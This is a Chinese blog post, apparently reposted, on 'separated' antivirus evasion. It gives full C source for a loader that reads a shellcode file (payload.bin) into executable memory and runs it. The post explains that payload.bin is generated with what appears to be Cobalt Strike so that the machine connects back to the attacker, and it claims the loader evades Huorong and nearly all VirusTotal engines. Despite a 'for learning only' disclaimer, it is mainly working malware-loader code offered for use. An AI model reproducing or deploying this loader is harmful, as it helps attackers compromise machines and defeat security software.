天天看点

C实现分离免杀前期准备

本文章仅用于交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任

前期准备

1.编译好mian.exe,源码如下

#include <stdio.h>
#include <windows.h>

int main(int argc,char* argv[])
{ 
	//打开要执行的ShellCode文件
	HANDLE hFile = CreateFileA("payload.bin", GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
	if (hFile==INVALID_HANDLE_VALUE)
	{
		printf("CreateFile Error");
		return -1;
	}

	DWORD dwSize = 0;
	//获取ShellCode的总大小
	dwSize = GetFileSize(hFile, NULL);

	//申请一块可读可写可执行的内存
	LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (lpAddress == NULL)
	{
		printf("VirtualAlloc Error");
		CloseHandle(hFile);
		return -1;
	}

	//将文件读取到申请的内存中
	DWORD dwRead = 0;
	ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);

	//执行ShellCode
	__asm
	{
		call lpAddress;
	}
	return 0;
}
           

2.cs生成payload.bin,此bin文件多数杀软不查杀的,思路就是利用mian.exe来执行payload.bin上线cs。

注:payload.bin和mian.exe要处于同一目录下

C实现分离免杀前期准备
C实现分离免杀前期准备

火绒

C实现分离免杀前期准备

VT查杀70/1

C实现分离免杀前期准备
上一篇: 栈溢出攻击
下一篇: 阿房宫赋